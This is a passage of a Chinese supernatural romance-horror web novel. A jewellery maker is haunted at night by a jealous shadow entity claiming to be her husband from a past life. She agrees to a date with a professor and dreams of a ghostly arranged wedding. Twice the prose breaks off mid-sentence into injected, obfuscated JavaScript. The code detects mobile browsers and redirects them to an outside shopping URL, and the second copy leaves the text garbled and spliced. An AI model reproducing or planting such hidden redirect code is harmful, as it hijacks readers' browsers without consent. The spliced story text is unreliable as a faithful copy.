许菱烟站在置物架前,嘴里哼着歌儿,不疾不徐地翻找着蒙尘的各类纸盒子,最后从一堆杂物最底下取出崭新的灯泡,往外走时顺便捞起墙边的梯子。 似有所感般,许菱烟瞥了一眼投射在地面的影子,被光线拉长收窄,约莫能看出属于她的轮廓。 但,隐隐约约…… 好像,有哪里不对劲。 7. 新娘头面 许菱烟入定一样看了很久,眼神发直,兀自思索着:人的影子,竟然会分层吗? 为什么她的影子头尾发黑,中段部分黑的更深,就像掺杂进去什么别的东西,让颜色变得更浓郁了。 而在她出神的这几秒钟内,初秋的风更冷更狂,刮过还未凋零的泛黄树叶发出簌簌声响,可树叶分明纹丝不动。 墨蓝色天际仿佛正在被什么看不清的力量侵染,逐渐变得如墨一样黑。 这黑呈现的极不自然,是一种没有生命力的、虚假的颜色。 天空宛如一块绷直的布帛,连挂在天上的星月也被遮住了,无止境的一直延续下去。 但凡许菱烟肯抬头看一眼,不难发现这样的场景自己曾经见过,就在那场荒诞恐怖的梦里。 手机发出电量即将告罄的提示音,电筒光芒更加微弱,聚集在身前的一小片区域。 浓黑的夜察觉到这一点,就如同抓住许菱烟的弱点,恣意妄为的向这间小小储存室靠拢,狂风叫嚣着要把她困在这儿。 躲在影子里的那东西感受到环境的号召,挣扎着、扭曲着试图形成一个轮廓,殷切地张开怀抱扑向她,缓解一下空旷许久的胸膛。 可影子上方罩着一层看不见摸不着的薄膜,顶起它似乎正在发狂的表情,分不清五官具体分布在哪儿,只有一张深不见底的黑洞,薄膜从这儿瘪下去。 不管咬或吞,任由它心劳计绌,仍然无法戳破障碍逃离。 霎时间,风刮得更狠,呼啸着卷起沙土,静止的树微微晃动,布帛一般的夜空攒起细密的褶皱,像极了人发怒时脸上蹙起的纹路。 存在于诡谲天地中的所有东西一齐响应着‘它’的情绪波动,仿佛活了过来,有了自主意识和似人的感情,用自己的方式叫嚷着: ——它想她。 想得亢奋又痛苦。 夜里很多次,快要忍不住撕碎躺在她旁边的人。 嫉妒让它失控,又让它在关键时刻冷静下来思考:已经隐忍筹划了这么久,不能因为一时的激愤犯错,毁坏所有。 手机又发出一声轻响,提醒电量不足百分之十。 不及零点一秒钟,便被外面嘈杂的声音盖住了。 但,恰恰是这一声来自现实世界,与周遭格格不入的动静,宛如一把尖锐的利刃划破黢黑布帛。 许菱烟立即回神。 睫毛眨动的前一瞬,异常的声响全部消失殆尽,速度快到人类无法用肉眼捕捉,或者感知到任何的蛛丝马迹。 天空仍然是墨蓝色,皎洁清冷的月亮高悬,周围星光点点。 初秋的微风吹拂着淡黄色枯叶,闻得见飘来的饭香味儿,听得见不远处的狗吠。 一切如初。 包括许菱烟的影子。 因为电筒光圈缩小而放大,眼色从头到尾一模一样,看得出她的身材轮廓以及衣服边缘,是一个再正常不过的影子,好像那些许的差异只是她恍惚间产生的错觉。 许菱烟搓了搓胳膊上的鸡皮疙瘩,念叨着都怪叶婉筱讲鬼故事吓唬她,弄得她一到晚上就草木皆兵的。 没再深究无关紧要的事,许菱烟锁好储存室的门,拉下电闸,支起梯子,手脚利索地爬上去换掉灯泡,随后把电闸复位,摁下开关,柔和的光充斥着玄关。 耐心待了一会儿,确定没有接触不良等问题,她才放心,把梯子立在门边,打算明天再放回储存室,然后趿着拖鞋回卧室给手机充电,换上家居服去洗漱。 叶婉筱到家发来消息的时候,许菱烟刚巧躺进被窝,长发被她悉数撩到上方,以弧形散开在浅色的枕套上,发尾堆积在床头处,茂密的海草一样。 许菱烟仰面捧着手机,点开语音。 伴随着开关被摁下的咔哒声,叶婉筱关了家门,边弯腰换鞋,边说: “上周我带着团队去外地谈合作,顺便陪客户去了一趟灵源寺...做生意的,都讲究这个,觉得上一柱香就能保财源广进...据说这座庙求平安也很灵验,我从大师那儿买了珠串挂件,开过光的,咱俩一人一串,放在你粉色棉袄的口袋里了。” 许菱烟今晚穿着那件衣服搬梯子,不小心弄脏了,被她扔到洗衣机,打算明天洗。 听完语音,她忙不迭跑去洗衣房扒拉,从右侧口袋里取出用热缩袋裹着的珠串。 顶端有根环形吊绳,许菱烟想了想,从手机壳右下方的洞里穿过,稍微用力收紧。 举起来对着光看,各颗珠子呈现出的色泽不一样,确实透着几分神性。 许菱烟最喜欢这种做工精致的小玩意儿,给叶婉筱发了一张小兔子顶着谢谢的表情包,乐颠颠地回卧室睡觉去了。 - 客户定制的一整套头面和簪子赶在中秋节之前完工,许菱烟专门找了一个有中式布景的场地,租了两个小时,用来拍返图。 怀揣着欣忭发给沈渠,直到傍晚,才收到他的回复。 彼时许菱烟正在厨房,和下午刚到家的卢桃一起收拾食材,准备吃一顿养生的菌汤火锅。 支起的锅里,汤底咕嘟咕嘟冒着泡。水龙头开着,水流汩汩,逐渐没过篮子里的蔬菜,许菱烟挽起袖子清洗,压根没留意放在外头的手机正嗡嗡作响。 卢桃负责摆放碗筷,把需要多煮一会儿的食材先丢入锅里,调至中火,回到厨房给许菱烟打下手,顺便向她简述父母的近况。 确定两位老人的身体没什么大碍,许菱烟长长地松了一口气,同卢桃聊起别的,“怎么不等正月十五过完再回?我这边暂时没什么事,一个人应付的来,你难得回家一趟,应该留下陪父母过个团圆节。” “我也想呀,但我爸总撵我走,”卢桃掐掉发黄影响口感的菜尖儿,看向许菱烟时,眼睛弯成月牙,笑容狡黠,“生怕我晚一天回来,师姐就被男人拐走了。” 许菱烟一愣,耳朵率先烧起来,“...隔这么远,他老人家怎么知道的?” “他当然不知道喽。” 卢桃努努嘴:“我刚才不小心看见,有个备注是‘沈教授’的人一直给你发消息。猜的。” 许菱烟赶紧擦干净手上的水珠往外走,经过卢桃身后时,扬手拍了一下她的屁-股,轻斥一句:“臭小孩,八卦心别太重。” 又叮嘱:“明天我和你叶姐出去聚会,你留下乖乖守家,冰箱里的食材都是新鲜的,想吃什么自己做,犯懒就点外卖。零花钱转到你微信上了,记得收。” 卢桃手上忙活不停,脆生生地应道:“多谢师姐,师姐大气!” 插线板的线从客厅一路蜿蜒至餐桌旁,许菱烟嫌碍事,踢了一脚,接着大步流星地走向茶几,拔掉充电线,解锁手机,果然看见来自沈渠的十几条回复。 快赶上他们认识以来,线上联系次数的总和了。 发的还是语音。 许菱烟捂着心口,沉沉地抒出一口气,感觉心脏快被撞坏了。 缓了缓,她走进工作间,反手关了门。 这儿的隔音效果比较好,她可以大胆的外放语音。 摁下播放键之前,许菱烟闭上眼,做了一下心理建设,以防听见那道久违且悦耳的声线会花痴病大爆发。 可后一瞬,既陌生又熟悉的,更加年轻的男声,毫无征兆地挤入她耳朵里。 “许老师,不愧是您!每一件饰品都做的如此漂亮,完全还原了我脑海里对它们的设想,简直是世界上最完美的艺术品!等演出时间确定之后,我给您寄一张门票,您可一定要赏光来看啊!” ……? 这个声音,这个说话方式... 怎么是,沈绍元? 难道表兄弟俩在一起,看完图片之后,沈渠顺手把手机给了沈绍元,让他回复她? 猜到这一点,许菱烟脸颊冒着的热气慢慢褪去,不太想听后续冗长的语音条,全部转了文字。 划到最后一条,她指尖顿了顿,目光停在最开头的那个称呼上。 眉心不受控地跳了跳。 许菱烟舔了下因为紧张而发干的唇,郑重地点开语音条,如愿听见那道温润尔雅,透着浅淡笑意,又不乏严肃的声线。 “菱烟,等中秋假期结束之后,选个彼此都方便的日子见一面,可以吗?” “除了交货,还有我从老家带来的一些特产想送给你,嗯...还想和你聊一聊其它与工作无关的事,邀你去郊区最大的湿地公园,欣赏初秋落叶铺成的金色大道……或者,由你来安排行程,我完全服从。” 许菱烟将手机音量调高,放到耳旁,紧张到呼吸微凝。 听他赧然地说:“如果,你也一样单身,且没有别的心仪人选。” “……” 相当正经且不落俗套的告白,突如其来,正正巧砸在许菱烟心坎儿上。 天知道她有多么无法抗拒一场不掺杂任何肉-体欲-望的约会,更何况,是她先喜欢他的。 如同绚烂的烟花骤然在眼前绽放,转瞬即逝的璀璨景色引起肾上腺素飙升,让许菱烟感觉到一阵接一阵的眩晕。 幸亏关了门,四周没有窗户,不会被人发现她当下异常潮红的脸色,否则一定会被嬉笑,有朝一日她也会露出这么矫揉造作的一面,为了博取对方更近一步的好感,她竟然捏着嗓子,造作的弄出令人骨头发麻的酥音:“...这,算我们的第一次约会吗?” 沈渠:“当然。” 冥冥之中,两人好像达成了某种共识。 沈渠继续用语音回复,声音很轻,凑在她耳边低喃一样。 许菱烟感觉有一片没有实体的羽毛落在肌肤上,忍不住抬起肩膀剐蹭耳廓,用这种略显笨拙的方法止痒。 她迫不及待的又一次点开语音,简单的两个字,一秒时长,反复听了很多遍。 那边的背景音格外安静,连细微的呼吸声也没有,静的反常,静的瘆人。 她无从察觉,一心一意的沉浸着和他的暧昧之中。 阖上眼做了几次深呼吸之后,许菱烟捂着发烫的侧脸,轻轻道:“我没有别的意见,就想看金色大道,风景一定很漂亮。” “嗯。我把课表发你一份,你看看哪天合适?” 沈渠冷静作答,语气里透露出一种并不会灼伤他人、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094225|195586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引起他人反感的憧憬,或者说,一种并不肮脏且会点燃他人的渴求。 ——他同样期待和她见面,但却守着分寸,小心翼翼的对待她。 许菱烟被沈渠绅士的行为所蛊惑,掩着嘴,低低地嗷了一声。 很久没见,她已经记不清初次见沈渠那副优越皮囊时的震惊,可身体残留的反应仍然清晰如昨。 她为他,为这段真正意义上的初恋感觉激越,嗓子干的厉害,翻找工作日志时手一直在抖。 花了十几分钟确定好日期,给对方发过去,乖乖地说:“这天我没有安排,工作日,公园的人也少。你觉得怎么样?” 沈渠应该笑了笑,前一秒是含混的气音:“嗯,就这天。” “……” 许菱烟放任语音响着,攥紧手机,慢慢蹲下去,脸烧熟了似地红。 满脑子都是: 不该定这么晚。 如果明天一早就能和他见面,该多好。 - 长这么大,正儿八经的恋爱虽然没谈过一场,但约会经验还是很充足的,许菱烟真不想表现得像个情窦初开的无知少女,因为心上人主动邀约就振奋不已,脑袋和身体分家一样,不听指令的各干各的事,后果就是,她强装淡定地走进卧室时,没注意串珠挂件卡在门缝里,一用力关门,环形吊绳立马崩开了。 串珠掉到地上,有几颗脆弱的珠子裂了缝。 许菱烟看着肉疼,赶紧把它收进首饰盒妥善保管,不打算再随身带着瞎显摆了。 被意外的插曲一搅合,许菱烟从飘飘然的状态中抽离,恢复清醒,总算忘记沈渠最后那条连宠溺都算不上的语音。 洗完热水澡之后,她趁着护发的功夫和卢桃扯了会儿闲天,然后各回各的房间睡觉。 过了零点,整一片住宅区都陷入沉眠中,悄寂无声。 被无法抗力因素冷落许久的东西,今晚嗅到不寻常的滋味,又一次按耐不住的发作起来。 ‘它’成功攀上楼梯,贴着墙边,一溜烟儿钻入房间内,轻车熟路找到床的位置,沿着床单垂落的流苏向上爬,遂愿附着在许菱烟洁白的手臂上。 雾团过电般开始扭曲颤抖,疯狂不言而喻。 漂亮、温热,散发着馥郁香气的人儿,身体那么柔软,安详地躺在被子里,对周围的一切都不设防,好像随便碰哪里都没关系…… 可是。 该死的! 该死的!! 为什么不管从前还是现在,总有自以为是的贱人要拆散他们。 为什么‘它’作为正牌丈夫要被关在门外,独自忍受漫漫长夜的孤独。 ‘它’无比渴望她能够快点发现自己的存在,以及这份爱,进而理解这份爱,接受这份爱,‘它’便可以光明正大的抱着她,或者被她抱着…… 他们明明就应该是这么亲密无间的关系。 而不是只有在午夜,趁她睡着的时候,‘它’才能偷偷摸摸地钻入房间贪恋她。要么躲在暗处,不安分地弄出一些声响,狗一样可怜巴巴地摇着尾巴,试图引起她的注意。 这样浅尝辄止的方式,怎么能让‘它’感到满足?! ‘它’必须要一些切实的回应。 要她的亲吻,要她的拥抱,要她的体温。 要她的呼吸,要她的香气,要她的骨血。 要她啃噬,要她撕咬。 要她打,要她骂。 要她也发狂,也失智。 更要她那一颗鲜活跳动,真挚单纯的心。 欲-望清晰明了的摆在眼前,可‘它’无能为力,一直以来的烦躁、崩溃、激愤以及嫉妒瞬间爆发。 ‘它’扭动着身躯,逐渐胀大,以肉眼可见的速度挤满整个房间,不留一丝空隙,昭示着此时此刻难以控制发狂的状态,紧接着,雾团中伸出无数根枝条,散发着黏腻的陈旧腐臭味儿,缓缓地探向许菱烟,直至把她从头到脚裹起来才堪堪停止。 肮脏与温情共存的感觉,令‘它’沉醉其中。 与此同时,类似电流的滋滋声响起。 尽管音色嘲哳,难以入耳,但却和情人之间的柔情呼唤毫无二致,也不再是囫囵的音节,而是清楚完整的字句—— “清如。” “该醒了。” “快,睁开眼。” “别误了吉时。” …… 话音渐落。 被火红床帘围着的女子倏然提起一口气,睁开双眼。坐了太久,导致身体发僵,回神时她险些摔倒,还好反应够快,及时用手肘撑住床面,顺势扶住头冠。 ——没错,是头冠。 金属发箍,插戴数量不等的金玉花钗。又叫作九树。另有打造成极薄的金叶与金丝用作装饰或链接,钗面镶嵌着玛瑙、琥珀、青金石等,依照她的偏好打造成花卉、鸟雀等形状。因佛教盛行,冠前正中又见莲花、火焰纹。① 华丽又庄重一套头面,由阿母亲手给她戴上,亦象征着,家族荣誉与祝福全部移交她之身。 如此重要之物,万幸万幸,赶在上轿之前做好了。 8. 第二场梦 院儿里原本静悄悄的,骤然掠过几声欢声笑语,响动由远及近,细听却很不真切。 郑清如毕竟是头一回做新娘子,以往没去别人家的喜宴上凑过热闹,并不知晓,正儿八经的红事氛围与当前完全不一样。 所有声音听起来格外诡异,像有数不清的人或其它什么东西,团团围住这地方,不敢随便靠近也不甘心轻易离开,只好躲藏在暗处窥伺,因为新奇的场景而亢奋,上下牙磕撞在一起,发出喀喀的摩擦声。 细细碎碎的声响搅合在一块儿,意外有种宾客在外面挤破头,只想一睹新娘子芳容的感觉。 郑清如面色臊得比胭脂还红,从扇子后方稍稍偏头,往门口望去。 窗纸上只投射着绰约光影,看起来不似灯笼,弯弯的,月牙一样,又有些许不同,尾巴那儿拖着一根长线。她形容不上来具体的轮廓,只知道是一种从未见过的东西。 不愧为高门大户,用得玩意儿果真新异。 郑清如偷偷嘀咕一句。 旋即,视线一转,意外发现门口守着俩婢女。 兴许是房内蜡烛点的不够多,光线太昏暗,亦或者今日成亲流程繁琐,致使身子劳累,郑清如感觉视野不怎么明亮,隔着不算近但也绝对算不上远的距离,她眯起双眼竟也看不清对方。 只留下个模糊又清楚的印象。 之所以说清楚,全因郑清如莫名晓得两人脸型相似,皮肤白亦很脆弱,其中一人不知道在哪儿撞了一下,面颊瘪下去相当明显的一块。 为了应景,她们两腮各涂着一团艳艳的红,薄成片儿的唇瓣色彩更加艳丽,紧紧抿着的时候,唇线瞧不分明,像被未干透的水彩不小心抹在了一块儿,因而没有上下唇之分,只是一张嘴而已。 可郑清如一点儿不害怕。 换言之,她根本就不觉得有什么不对,歪着头,专心致志地观察着。 两人不仅妆面相同,穿得也一模一样,皆为一身儿厚实保暖的棉布衣裳,衣摆处印着花色,做工精细,连针脚都看不出。 衣裳色泽鲜艳,红的扎眼,刚从染缸里捞出来一样。 腰肢到小腹之间的位置绑了一条粗粗的麻花红绳,勒的一把腰如柳条般柔细,五脏六腑都没地儿放。若走两步,恐怕会当场折成两截。 按照习俗,两人手中拎着一只用来装喜钱的红布袋,面对面垂首而立,一声不吭。方才郑清如险些倒下的动静也没惊动她们,站桩木头一样。 可要说模糊,倒也准确。 郑清如无论如何都分辨不出她们五官的分布,整张脸像在水里泡发的纸,上头的墨迹晕开,连成一片。尤其小腿再往下的地方,朦朦胧胧的,怎么也瞧不真切,盯久了还觉得头晕目眩。 郑清如摁了摁太阳穴,听见外头的喧闹声愈发大,好似宾客们即刻要冲进来闹洞房了,她乖觉地收敛视线,摆正扇子挡住脸,正襟危坐。 可须臾之间,所有动静一齐消失,四下万籁俱寂。 郑清如不知发生了何事,心里好奇,又一次从扇子后方探出头,露出懵懵懂懂的一双眼,往门口观望。 两侧床幔被绑起,外头檐下的灯笼映照着喜字,红光投射到她被粉抹得瓷白的小脸上,唇红的快滴血,身条格外纤细,从侧面瞧,比纸糊的还单薄,人却像正当季的花儿一样娇艳欲滴。 门口由婢女们守着,没什么异样,反倒是这间卧房吸引了她的注意。 地方格外宽敞,比郑清如家里专门用来候客的前厅大一倍有余,凡日常所需用品,皆用品质上乘的材料制成,尽显富贵奢侈。 如今腾出来给这对新婚夫妻做婚房,妥善布置一番之后,放眼望去一片绯红,雕花梨木床,大红被褥和丝绸单子,账内应是被香熏过,有股淡淡的檀香味儿,闻久了让人昏昏欲睡。 郑清如不自觉地眯了眯眼。 一错眼的功夫,俩婢女齐刷刷看过来,视线落在她身上,如有实质。 郑清如瞬间清醒,急忙慌的用扇子挡住脸,紧张地咽了口唾沫。 可头面太重,压得脖子疼,感觉随时有可能断掉。掩面的扇子举久了,胳膊又酸又疼,她咬牙坚持了一会儿,实在挨不住了,预备放下歇一歇,突地听其中一个婢女低喊:“娘子,不可。” 郑清如被吓一跳,怯生生地解释:“我、我乏了。” 刚一说罢,余光瞥见出现在身侧的空荡荡的衣袍下摆。 竟是那两人...走近了。 或许。 大概。 可能…… 是用‘走’的吧。 郑清如的脑海中不知为何突然涌入如此古怪的一个念头,眉心一跳,有什么呼之欲出。 不待深思,婢女们齐齐伸来手,示意她可以借力。 郑清如垂首看了一眼,发现眼前的居然都是右手,不见骨架,只见细如绸、薄如纸的一张皮——严谨来说,应该不能被称作皮,更像张廉价粗糙的纸,制作的人敷衍地折了折,弄出五指的大致形状,连接处拿浆糊抹一下了事。 见状,郑清如完全不敢压上去,生怕弄伤她们,干脆将胳膊悬空提起。 但这姿势维持不到片刻,她便出了满背的虚汗。 而人累到极点,理智将被瓦解,难免牵扯出一些别的负面情绪。 分明是盼了很久的大婚,郑清如心头却莫名发慌,身体开始不受控地发抖,声儿软趴趴的,轻的像一阵烟:“阿母说,郎君没来,房内也没其他宾客的时候,我若累了便歇息片刻,这样不算坏了规矩。” “不可。” 一人操-着毫无起伏的语调,看似是哄劝,口吻却冷硬:“娘子且忍忍,待前院事一了,家主便来了。” 郑清如小声抽噎:“可...我真的累...” 婢女不再浪费口舌掰扯,径直上前攥住她的胳膊,力道大的骇人。 另一人见状,跟着握了上来,牢牢桎住她。 郑清如吃痛,柳叶儿一般的细眉蹙起,眼睛反而睁得滚圆。她显然被这样冒犯的举动激怒,使劲扭着身体挣扎,一把绣扇在面前晃来晃去,见势就快掉落。 恰此时,紧闭的房门被推开,随即涌入一小股阴冷的风,不住地吹拂着血红色帷帐。 空气中浮动的檀香味儿,被黏腻潮湿的另一种气息掩盖。 令人极其不适。 郑清如不禁打了个寒颤,暂时忘了挣扎。 从绣扇微薄的扇面望出去,只见一个高壮男子负手立在帷帐外,身形朦朦胧胧的,看着很虚幻,震慑力却是实打实的。 一见来人,桎梏着郑清如的力量立即撤去,两个婢女纸片一样的脸疯狂哆嗦着,抖出哗啦哗啦的声响,眨眼的功夫便一起退到墙根儿处,魂儿像被抽干一样,又恢复之前直挺挺的姿态,安静地垂首站着。 郑清如同样被吓得不轻,手抖了抖,险些没拿稳扇子。 怕归怕,她胆子又意外的大,仗着有扇子掩面不容易被发现,不错目地盯着男子瞧。 分明是在观察他,视线却游离,瞳孔虚焦,落不到个实处。 屋内湿漉泛凉的水汽愈发浓重,裹在郑清如身上的衣服也被打湿,变成一件累赘,压得她头晕眼花,胸闷气短,耳畔嗡鸣,故而没听见嘈杂声重新响了起来。 比先前的阵仗更大,糅合成一体的庞大黑影紧紧贴在墙纸上头,张牙舞爪的沸腾着,恨不得立即撕碎樊篱,冲进来凑一凑热闹。 转瞬间,连房子也活了。 四面墙壁一紧一松,似人的肚皮,沉重地喘着粗气。 郑清如被这股无法言说的压力促使,捂着心口,朝地面干哕了一口。她额上渗着细密的汗珠,冲淡了艳丽的脂粉,露出原本煞白的面色,眉心紧攥成一团。 看表情,确实难受到极点了。 而那一口浊气没能顺利从胃里钻出来,人便被定住一样,一动不动了。 男子淡淡扫了一眼,脚步一转,径直从郑清如面前路过,从袖兜里掏出事先备好的喜钱,纸质的、圆形的、中部镂空、花白胜雪,分别塞进红布袋里。 风一吹便满天飞的‘喜钱’,一放进去却变得有千斤重,坠得两人的腰肢深深地弯下去,眼瞅着就要折了。她们顾不上管,只为讨到的奖赏乐呵,涂成血红色的嘴裂成细长一条,贯穿两侧的耳朵,勉力撕开之后,口腔内不见牙齿、舌头,只是一片虚无的浓黑。 气流沙沙吹过,形不成完整字句。 男子意会她们的谢意,摆了摆手。 两具单薄又轻飘的身躯先后从窗缝溜出去,顺便带走了那个嘈杂不止的东西。 内外重归阒寂。 男子慢步至郑清如跟前儿,徐徐弯身,单膝跪地,先替她抻平衣摆,随后,大掌虎口卡着她手腕,五指轻轻松松环了个圈,拇指与食指环扣在一起的刹那,阻滞的气流如隔断又重合的溪水,再一次开始涌动。 郑清如还维持着干哕的姿势,一眨眼的功夫,男子突然出现在身边,惊得她红唇下意识微张,露出两排贝齿和湿润淡粉的舌尖。 整个人像刚从水里捞起来,头冠摇摇欲坠,盘起的发掉落几缕在肩头,发尾打着卷,湿漉漉、软绵绵的,浑身上下透着一种可欺可怜的感觉。 不知道是不是憋得太久,郑清如呼吸频率迟迟调整不好,控制不住的直发抖。 男子抽走绣扇,随便搁去一旁,攥着的手没松,暗中使力托住郑清如,腾出的另外一只手轻抚她后背,帮忙顺气。 极其亲昵的动作,一个给予一个受用,双方似乎早就习以为常。 正因此,才处处透着诡异。 由父母做主的亲事,难听点说便是盲婚哑嫁,今夜即是大婚也是他们第一次见面,默契又从何而来? 郑清如眨巴眨巴眼,困惑地盯着面前这一团看不清五官的雾,好不容易才从干涩的嗓子眼里挤出一道声:“你,是谁?” “自然是你郎君。” 男子的声线沙哑,语速不疾不徐,每一个字吐露的都格外艰涩,发音也怪。 郑清如瘪了瘪嘴,说不上哪儿奇怪,继续问:“可...可我怎么记得,你家该是经商门户,固然有财,也不该富贵至此...” “你记错了。” “...嗯?” 郑清如眨眼的动作慢了一拍,脸上泛起的愁容更甚,隐隐觉得身体内缺失了相当重要的一块,无论如何也想不起来了,思绪渐渐变得混沌。 她表情无措地揪着衣袖,一不留神,戳了个洞。 因而没注意到被泡皱的衣裳正散发着浓重的腥臭味儿,那水也不是水,是自她胸口一汩汩涌出的血,漫了大半边身子。 依稀可见一把长剑横贯两人的身体,心对心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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抗拒已变成条件反射,提防和恐惧更是深入骨髓,脑海内始终有一道无法忽视的声音,叫嚷着让她快逃。而她的心那么犟,容不下任何隐瞒和欺骗,饶是什么都想不起来了,下意识的反应总不会骗人——真正相爱的两人,怎么会是这样别扭的相处方式? 念头一生,郑清如连待在他身边也做不到了,赶在那团雾气振奋地吻上她之前,她反应迅速的侧脸避开,使出吃奶得劲儿甩开他,起身站去一旁。 头冠挨不住如此激烈的动作,咣当一声砸在地上,震得整间屋子跟着发颤。失去禁锢的青丝如瀑布般飞扬,有几缕潮湿的发黏在她颊边,衬得脸色愈发惨白。 一双眼里满是提防,生疏的神色如同看待一个陌生人,掷地有声:“将婚书拿给我看。” 男子没动,气压一点一点沉下去,隐忍着没有发作。 一开口,极具威严:“不许闹。” “拿给我看。”她目光如炬,不肯相让。 “……” 沉默几息,男子垂首,无可奈何地笑了声:“就在你身后的桌上。” 郑清如依言转身,果真看见合卺酒旁放着卷轴,推开之后,落款确确实实写着她的名儿,旁边还有男子的落款,官府已经盖了戳。 郑清如揉了揉眼睛,举起卷轴对着烛光使劲瞧,无论如何也看不清男子的名儿是什么。 男子起身,理了理长袍,款步而来,“这下肯信了?” “……” 郑清如抿着唇,不语,脸色严肃。 “...你乖一些,今夜该走的流程,还是要走的。” 他浅笑着,口吻漫不经心,像在逗一只家养的猫儿。 仅仅是听见这道声音,郑清如就忍不住涌起强烈的呕吐感。 察觉到她的抵触,原本宽阔的卧房有意识的收紧,企图变成一座牢笼将她永远困在这儿。 憋屈、窒息、烦躁…… 种种怪异的感觉一瞬间涌上来。 尤其眼前这人... 婚书确实不假,可她为什么那么不乐意? 还有忘记的那一部分... 为什么会忘记? 内容究竟重不重要? 越这么想,身体疼得越厉害,像被一把尖锐的利器捅穿,鲜血喷涌而出的刹那,郑清如眼前一黑,终于不堪重负地倒下去。 预料中的疼痛没有袭来,反而砸入一片柔软中,人也变得轻悠悠的。 浑浑沌沌时,她又听见男子近在咫尺的声音响起,柔和的宛如情人耳语,可寒意无孔不入,肆意侵袭着她身体的每一寸,恶鬼一般呢喃着诅咒:“你我的关系,千年前就已盖棺定论,抗拒也无用。” “别怕。” “为夫只想与你团聚,再续前缘。” “可惜,今夜时辰已到。” “妻。” “...再会。” - 阳光沿着窗帘的缝隙钻进室内,闹铃响了一遍又一遍,床上的人还被困在梦里,迟迟没醒。 许菱烟双眼紧闭,表情痛苦,两条胳膊高高举起,溺水之人一样拼命挥舞着,惊慌失措间抓住床边的一根线,下意识的一使劲,月亮形状的夜灯,连带着床头柜上的香盒、钟表、日历之类的东西全被带倒。 燃尽的檀香灰洒了一地。 发出叮呤咣啷的巨响。 许菱烟一脚踩空似的狠狠哆嗦了下,乍然睁开眼。 9. 生理性讨厌 头痛欲裂,视野内黑一阵白一阵,泛着点点黑光,浑身发麻,腿脚都使不上劲。 睡前刚换的新一套睡衣被汗水浸湿,散发出一股说不清道不明的腐臭味儿。 许菱烟整个人脱力地仰面躺在被窝里,慢慢收紧手指,攥拳又松开,试图让凝滞的血液重新流动起来。 她复又阖上眼,抿嘴,胸口起伏剧烈,仿佛跑完八百米之后的大喘气,干燥的喉咙里充斥着浓浓的血腥味,下一秒便能呕出来。 大脑一片空白,死活想不起把自己吓成这样的梦是什么内容,只依稀记得,有谁在她耳边说了几句什么,让她又惊又惧,脚下猛地踩空,人就醒了。 等力气恢复,许菱烟掀开被子,扶着脑袋坐起身。 因为实在受不了身上散发的幽幽气味,胃里翻江倒海的,令人作呕,许菱烟无暇处理地上一堆凌乱的物品,径直越过去,从衣柜里拿了一套新的睡衣,往浴室走。 要开门时,突然发觉自己一直扶着脑袋。 不是因为疼。 而是... 她老感觉,不扶着的话,有什么沉重且珍贵的东西就会掉下来。 毫无来由的念头把许菱烟吓得够呛,想起之前在网上看到有人说,梦做多了会逐渐认不清虚幻和现实,她琢磨自己现在就隐隐有这个趋势。 许菱烟搓了搓胳膊上的凉意,强制命令大脑不要胡思乱想。 快速洗完澡,一身清爽的出来,精神头跟着好了不少。 插上吹风机的插头,许菱烟边吹头发,边架起手机查看昨晚的监控视频,确认一下自己有没有梦游。 可网络意外的慢,加载画面用了十几分钟,播放没一分钟,又卡了。 许菱烟等的没耐心,先去把地上的东西规整到原处,扫干净香灰,折回来一看,视频还卡那儿,一动没动。 她无语至极,切了后台缓存,下楼去吃早饭。 一楼空空如也,听不见任何声响。 卢桃不在,只有冒着热气的早饭放在桌上。 豆浆杯底下压着一张桃子状的异形便签纸,字迹规整地写着:师姐,计划有变,今天我也要外出。 临时监护人的职责使然,许菱烟在微信上问:和谁?去哪儿?几点回家? 卢桃很快回复:室友。爬山。天黑之前肯定回。 还发了一张和其他人在山脚下的合照给她看。 许菱烟插上吸管,小口小口地嘬着加了糖的豆浆,另给卢桃发了一笔零花钱,叮嘱:千万注意安全,有事直接电话联系。给你钱就花,别抠抠搜搜的委屈自己,玩得开心最重要。 临了,补充一句:今年中秋节去我家过,爸妈总念叨说想你了。 卢桃收了款,乖乖地:好。 - 原本定在晚上的场仓促改成中午,许菱烟着急忙慌地收拾完,叶婉筱刚巧开车到门口。 一上车,许菱烟气还没喘匀,就急急地拉下遮阳板,对着镜子整理发型,检查妆容,“怎么临时调整了?群里也没人提前讲一声,害得我措手不及...” 叶婉筱提醒她系上安全带,老神在在地笑:“要不说感情和自由不可兼得,尤其结婚的人,契约书一签,等于把绝大部分的人生让渡给伴侣了。” 许菱烟微微点头,不仅听明白了聚会变更的原因,也咂摸出了叶婉筱隐含的烦躁和无奈。 她没掖藏,心直口快地问:“家里人又给你介绍相亲对象了?” 叶婉筱沉沉地叹了口气,一切尽在不言中。 许菱烟便也蹙起眉:“条件不行?” 叶婉筱嘴角一扯,满是苦闷:“昨天忙完工作之后,我们约在公司附近的餐馆见了一面。那男的个头将将到我肩膀,肯定不足一米七,长相用歪瓜裂枣来形容都是抬举他了。 我倒也不是个多么注重外表的人,但起码要看得过去吧,不然以后相处起来多膈应人,牵手拥抱事小,真到接吻的程度,我不但下不去口,还有可能当场哕出来。” 听到这儿,许菱烟没绷住笑出声:“干嘛给你介绍个这样儿的?” 这不是纯纯向下兼容么。 “家境匹配,学历相当,收入持平。” 叶婉筱说:“我妈甚至发动人脉网把人家调查的一清二楚,情感经历清白,没有任何不良嗜好,除了内向点,性格上没别的毛病...这点确实,昨天和他坐了将近三个小时,全程没有冷过场,聊得挺合拍。 